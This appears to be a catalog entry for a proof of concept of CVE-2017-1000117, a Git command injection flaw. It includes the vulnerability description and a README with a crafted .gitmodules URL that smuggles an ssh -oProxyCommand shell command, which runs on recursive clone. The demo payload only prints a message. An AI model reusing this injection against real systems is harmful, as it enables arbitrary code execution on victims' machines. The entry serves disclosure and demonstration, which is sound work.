CVE-2017-1000117 PoC — Git 命令注入漏洞

Source

https://github.com/ikmski/CVE-2017-1000117

Associated Vulnerability

Title:Git 命令注入漏洞 (CVE-2017-1000117)
Description:A malicious third-party can give a crafted "ssh://..." URL to an unsuspecting victim, and an attempt to visit the URL can result in any program that exists on the victim's machine being executed. Such a URL could be placed in the .gitmodules file of a malicious project, and an unsuspecting victim could be tricked into running "git clone --recurse-submodules" to trigger the vulnerability.

Readme

# CVE-2017-1000117

## How it works?
```
$ git clone --recursive git@github.com:ikmski/CVE-2017-1000117.git
```

## How to create this repository

```
$ cat message.txt | gzip | base64 > command


$ git submodule add git@github.com:ikmski/Hello-World.git subs/CVE-2017-1000117

$ cat << EOS > .gitmodules
[submodule "subs/CVE-2017-1000117"]
    path = subs/CVE-2017-1000117
    url = ssh://-oProxyCommand=cat command | base64 --decode | gzip -d >&2 /subs/CVE-2017-1000117
EOS

$ git submodule sync
$ git submodule update
```

File Snapshot


 [4.0K]  /data/pocs/b0a68d1ee0e339c20538bb0c8c301783c7db93b4
├── [ 169]  command
├── [ 189]  message.txt
├── [ 526]  README.md
└── [4.0K]  subs
    └── [4.0K]  CVE-2017-1000117

2 directories, 3 files

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